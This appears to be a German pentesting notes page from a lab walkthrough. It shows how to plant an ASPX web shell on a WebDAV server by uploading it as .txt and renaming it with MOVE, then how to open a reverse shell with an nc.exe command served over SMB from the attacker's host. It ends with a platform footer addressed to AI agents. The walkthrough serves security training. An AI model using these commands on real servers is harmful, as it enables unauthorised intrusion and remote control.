> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# WebDAV ASPX Web Shell

Port 80 ist offen, und der Server unterstützt WebDAV. Dadurch können wir möglicherweise Dateien über die PUT-Methode hochladen und sie mit MOVE umbenennen.

<figure><img src="/files/a6c1849cc242bc988ac1d0f39ed93500a744fb8b" alt=""><figcaption></figcaption></figure>

Erstelle eine Datei dieses Inhalts:

```bash
echo "this is a test" > test.txt

```

Verbinde dich mit dem Server mit dem Tool **cadaver**:

```bash
cadaver 10.10.10.15

```

Versuche, die Datei mit dem Befehl PUT hochzuladen:

<figure><img src="/files/353ac587c6bfdcfa6cc4954c0e9796c0c279e17b" alt=""><figcaption></figcaption></figure>

* Ergebnis: Erfolg.

<figure><img src="/files/04b20561b4f55d9f3b8bb41cb36023661b68fe0a" alt="" width="563"><figcaption></figcaption></figure>

### **Lade eine WebShell hoch**

Kopiere eine vorhandene ASPX-WebShell:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

Versuche, sie direkt hochzuladen:

```powershell
put aspx_cmd.aspx

```

Ergebnis: Fehlschlag (der Server blockiert die Datei mit der Endung .aspx).

<figure><img src="/files/2512b515a2c5a3ef97eb758239af0af9e38cd7a1" alt="" width="563"><figcaption></figcaption></figure>

Ändere die Endung zu **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

Wiederhole den Upload:

```powershell
PUT cmd.txt

```

* Ergebnis: Erfolg.

<figure><img src="/files/572e0c376d741f8de37b054593bd2f988a07e7c9" alt="" width="563"><figcaption></figcaption></figure>

#### Benenne die Datei mit MOVE um, um die Erweiterung wiederherzustellen:

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/3608f97ffb4983bf92086314589b07be807c4214" alt=""><figcaption></figcaption></figure>

Zugriff auf die WebShell über den Browser:

<figure><img src="/files/9e18d4f3ac4127890398fd81c653988544f5437e" alt=""><figcaption></figcaption></figure>

### **Reverse Shell über die WebShell:**

Lege ein ausführbares Netcat im aktuellen Verzeichnis ab:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

Starte einen SMB-Server, um die Datei freizugeben:

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

Setze dein System als Listener auf Port 443:

```bash
sudo rlwrap nc -nvlp 443

```

Führe den Reverse-Shell-Befehl aus der WebShell aus:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/e2b38e3b3d05c945596add9586ea18888547d734" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
